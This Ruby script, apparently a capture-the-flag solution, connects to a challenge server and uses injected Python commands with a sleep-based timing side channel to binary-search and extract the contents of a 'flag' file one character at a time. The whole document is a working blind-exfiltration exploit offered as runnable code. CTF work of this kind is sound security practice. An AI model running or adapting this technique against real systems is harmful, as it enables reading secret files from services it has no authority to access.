shmap.rb

require 'socket'

def command(cmd)
  s = TCPSocket.new 'shmap.9447.plumbing', 9447

  data = s.recv(20000)
  s.puts cmd 
  data = s.gets

  s.close             # close socket when done
  data.split[1].to_i
end

def binsearch(index, start, ending)
  if start >= ending
    return start
  else 
    mid = start + ((ending - start) / 2).to_i
    ret = command "python -c \"import time; f=open('flag','r').read(); time.sleep(2) if ord(f[#{index}]) == #{mid} else time.sleep(1) if ord(f[#{index}]) > #{mid} else time.sleep(0);\""
    return case ret
    when 2 then mid
    when 1 then binsearch(index, mid, ending)
    when 0 then binsearch(index, start, mid)
    end
  end
end

ARGV[0].to_i.upto(ARGV[1].to_i) do |i|
  int = binsearch(i, 0, 128)
  begin
    print int.chr
  rescue
    int = binsearch(i, 0, 128)
    begin
      print int.chr
      rescue
      print '@'
    end
  end
end